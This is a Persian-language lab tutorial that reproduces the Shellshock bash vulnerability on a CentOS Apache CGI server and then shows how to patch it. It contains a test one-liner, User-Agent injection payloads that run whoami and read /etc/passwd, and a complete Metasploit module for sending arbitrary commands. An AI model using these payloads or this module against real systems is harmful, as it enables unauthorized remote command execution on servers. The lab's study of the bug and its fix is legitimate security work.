منبع اصلی نوشتار زیر در این لینک قرار دارد

راه اندازی و بررسی باگ ShellShock

سلام . این باگ این روز ها سر و صدای زیادی کرده برای همین سعی می کنیم خودمون پیاده سازیش کنیم و نتایج دلخواه رو بیرون بکشیم .

سیستم عامل ها :

1. سرور آسیب پذیر : Cent OS 6.3

2. سیستم نفوذگر : Ubuntu 14.04 / Kali linux

مراحل تست و آزمایش :

0. تست آسیب پذیر بودن bash در Cent OS

1. نصب آپاچی

2. ایجاد یک اسکریپت

3. تست آسیب پذیری با استفاده از افزونه ی Custim User-Agent String By Arpit Kumar در فایرفاکس

4. تست آسیب پذیری با استفاده از متااسپلویت

5. نحوه ی بر طرف کردن این باگ درCent OS

0. تست آسیب پذیر بودن bash در Cent OS :

برای تست این آسیب پذیری بر روی Cent OS و یا کلا هر سیستمی که از bash استفاده می کند , به این صورت عمل کنید :

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

اگر خروجی ای مطابق عکس زیر یعنی :

vulnerable
this is a test

دریافت کردید , یعنی نسخه ی bash ای که استفاده می کنید آسیب پذیر است .

4904700246493968653

1. نصب آپاچی در Centos 6 :

آپاچی به صورت پیش فرض در مخازن centos وجود دارد . پس کافیست آن را با استفاده از yum نصب کنیم .

sudo yum install httpd

2. ایجاد یک اسکریپت ساده جهت تست :

با فرض فعال بودن CGI , به دایرکتوری زیر رفته و سپس اسکریپت ساده ی hello world زیر را در قالب یک فایل متنی با پسورد cgi. ایجاد کنید :

/var/www/cgi-bin/

#!/bin/bash
echo "Content-type: text/html"
##
echo ""
echo '<HTML>'
echo '<HEAD>'
echo '<TITLE>'
echo 'A Small Hello'
echo '</TITLE>'
echo '</HEAD>'
echo '<BODY>'
echo '<H1>http://OSLearn.ir</H1>'
echo '<P>This is very minimal "hello world" HTML document.</P>'
echo '</BODY>'
echo '</HTML>'
##
exit 0

برای دیدن نتایج ( اسکریپتی که ایجاد کردید ) , از داخل مرورگر آدرس آی پی سرور را باز کنید و ( به عنوان مثال ) به مسیر زیر بروید :

http://192.168.1.14/cgi-bin/test.cgi

3838442998305853496

3. تست آسیب پذیری با استفاده از افزونه ی Custim User-Agent String By Arpit Kumar در فایرفاکس :

بعد از نصب افزونه کافیست از قسمت tools روی قسمت edit user agent کلیک کنید و در پنجره ی باز شده روی new کلیک کنید . حال ما در این جا دو user agent می سازیم !

اولی :

() { :;};echo;/usr/bin/whoami

بدین منظور که سطح دسترسی خودمون رو بدونیم ! طبیعتا وقتی قرار است bash script به واسطه ی آپاچی اجرا شود , یوزر ما نیز محدود و مربوط به آپاچی می باشد .

1426303839193527092

دومی :

() { :;};echo;/bin/cat /etc/passwd

همان طور که پیداست برنامه ی cat را از مسیر bin/cat/ جهت خواندن فایل passwd فراخوانده ایم .

 

2129859254169379678

توجه داشته باشید که برای استفاده از user agent ای که ساخته اید باید آن را از قسمت tools انتخاب کنید و سپس صفحه را یک را refresh دهید .

4. تست آسیب پذیری با استفاده از متااسپلویت :

برای این منظور ابتدا باید exploit زیر را به متااسپلویت اضافه کنیم :

require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
 
    include Msf::Exploit::Remote::HttpClient
 
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'bashedCgi',
            'Description'    => %q{
               Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
            },
            'Author'         =>
              [
                'Stephane Chazelas',                      # vuln discovery
                'Shaun Colley <scolley at ioactive.com>'  # metasploit module
              ],
            'License'        => MSF_LICENSE,
            'References'     => [ 'CVE', '2014-6271' ],
            'Targets'        =>
                [
                    [ 'cgi', {} ]
                ],
            'DefaultTarget'  => 0,
            'Payload'        =>
                {
                'Space'      => 1024,
                'DisableNops' => true
                },
            'DefaultOptions' => { 'PAYLOAD' => 0 }
        ))
 
            register_options(
                [
                    OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
                    OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
                ], self.class)
    end
 
    def run
        res = send_request_cgi({
            'method'   => 'GET',
            'uri'      => datastore['TARGETURI'],
            'agent'    => "() { :;}; " + datastore['CMD']
        })
 
        if res && res.code == 200
            print_good("Command sent - 200 received")
        else
            print_error("Command sent - non-200 reponse")
        end
    end
end

 

جهت اضافه کردن exploit ابتدا دایرکتوری های زیر را در home دایرکتوری پیش فرض یوزر ( روت ) ایجاد می کنیم : ( توجه داشته باشید که دو دایرکتوری exploits و shellshock را ما ایجاد کرده ایم پس می توانید از هر نام دیگری استفاده کنید )

root@kali:~# mkdir -p .msf4/modules/exploits/shellshock/

سپس فایل ruby بالا را با اسمی دلخواه در مسیر ایجاد شده ذخیره می کنیم .

root@kali:~# touch .msf4/modules/exploits/shellshock/exploit.rb

root@kali:~# nano .msf4/modules/exploits/shellshock/exploit.rb

حال اگر یک بار کنسول متااسپلویت را باز کنید خواهید دید که یک اکسپلویت به تعداد اکسپلویت ها اضافه شده است .

 

8494325382714354798

مقادیری که باید حتما آن ها را ست کنید عبارت اند از :

CMD / RHOST / RPORT / TARGETURI

مقدار rhost در را آی پی سرور آسیب پذیر و مقدار rport را پورتی که قرار است به وب سرور متصل شویم را قرار می دهیم .

نکته : مقدار rport به صورت پیش فرض 80 در نظر گرفته شده است چرا که به صورت پیش فرض پورت آپاچی 80 می باشد . اگر به وب سروی برخورد کردید که از پورت دیگری به جای 80 استفاده می کرد ( مثلا 8080 ) آن را تغییر دهید .

یک مقدار پیش فرض جهت CMD یا همان فرمانی که قرار است به صورت ریموت اجرا شود در نظر گرفته شده است که ما از همان استفاده می کنیم .

نکته : فرمان ما در back ground سیستم اجرا و بسته می شود ( چه برنامه درست کار کند چه غلط . چه دارای خروجی باشد و چه دارای خروجی نباشد ) در نتیجه وقتی این exploit را اجرا کنیم , نتیجه ی تغییرات را شاید نتونیم در کنسول ببینیم اما در پشت پرده روی سیستم فرمان اجرا شده است . به عنوان مثال همین ایجاد کردن فایل metasploit در مسیر tmp/

نکته : تمامی یوزر ها به دایرکتوری tmp/ دسترسی دارند با این تفاوت که هیچ یوزری نمی تواند فایل های دیگر یوزر ها را پاک کند مگر یوزر روت . پس با یوزر محدود آپاچی می توانیم فایل با اسم metasploit را در داخل آن ایجاد کنیم .

در نهایت با اجرای exploit خواهیم دید که یک فایل خالی به نام metasploit در دایرکتوری tmp/ واقع در سرور ایجاد شده است .

 

182383017532125886

نکته : به قسمت Gid و Uid در عکس بالا توجه کنید .

5. نحوه ی بر طرف کردن این باگ در Cent OS :

درست است که آپدیت های Cent os کمی دیر تر از آپدیت های نسخه ی enterprise شرکت redhat بیرون می آید اما این بدان معنا نیست الان نتونیم با استفاده از دستور زیر این باگ را بر طرف کنیم !

sudo yum update bash

حال اگر دوباره تست قسمت 0 را انجام دهید , خواهید دید که عبارت vulnerable در خروجی چاپ نخواهد شد و exploit ای که در بالا توضیح داده شد دیگر بر روی سرور کار نخواهد کرد .

 

1699346180711299142

حرف آخر : به جمله ی زیر که از سایت های خبری پیدا کردم نگاه کنید ….

نکته ای که این ویروس را از ویروس هارت بلید متمایز می سازد، آن است که هارت بلید تنها به مهاجم اجازه می داد از سیستم شما اطلاعات استخراج کند؛ این در حالی است که شل شاک با استفاده از باس می تواند فرمان صادر کرده و کنترل سیستم یا سرور شما را به دست گیرند

1067135200530406582

نویسنده : E2MA3N

منبع : او اس لرن . آی آر | http://OSLearn.ir



برچسب ها : ,